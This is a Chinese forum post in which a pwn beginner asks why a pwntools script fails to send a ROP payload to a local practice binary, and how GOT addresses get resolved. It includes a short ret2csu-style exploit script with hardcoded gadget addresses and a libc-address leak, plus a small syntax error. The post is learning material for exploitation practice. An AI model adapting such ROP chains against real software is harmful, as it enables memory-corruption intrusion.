-
-
关于pwn初学遇到的几个点
-
发表于:
2019-4-11 16:53
8610
-
一、先上图
学习参考看雪一篇文章:https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw%3D%3D&chksm=b181bd3c86f6342a3c60b49a4d82357b3bcd8328bb3791e2f729a3e33dbec98af0bb906f09e7&idx=1&mid=2458291638&scene=21&sn=72f56ce2dadb3b91ffd711ed03fa3a01
问题一:大佬们都用过,琐碎得不做咯嗦。调用sendline(rop)的时候出现了问题,(pdb):n 本该可以发送
payload到IDA调试_gets接收,可是_gets一直没有反应,必须把输出的字符串手动拷贝到linxu_server64中回车,_gets才有了反应,如下所示:
payload就可以发送成功......,环境的话是windows10(x64)调试Centos7(x64)下的rop,不知道为什么调用sendline发送payload传输到rop会失败呢?gets接收不到呢?rexp.py源码如下,按照文章中的编写的:
#!/usr/bin/env python
from pwn import *
import pdb
context.log_level = 'debug'
target = process('./rop')
elf = ELF('./rop')
# print(hex(print_got_addr))
rop='a' * 72
rop+=p64(0x40075a)
rop+=p64(0x0)
rop+=p64(0x1)
rop+=p64(0x600111)
rop+=p64(0x400784)
rop+=p64(0x400740)
rop+=p64(0x0)*7
rop+=p64(0x400656)
pdb.set_trace()
target.sendline(rop)
target.recvuntil(':')
target.recvuntil(':')
addr=target.recvline()[:-1]
addr=u64(addr+'\x00'(8-len(addr)))
print 'printfs addr is:'
target.interactive()
问题二:既然发帖了......,代码中注释了一行,#
print(hex(print_got_addr))
,因为报错,我简单了解了一下got表原理,是不是如果还没有调用print函数,got表中就不会有地址,也就是说print_got_addr会报错未定义,不知道这个如何获取呢?如下图所示:
感谢!
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!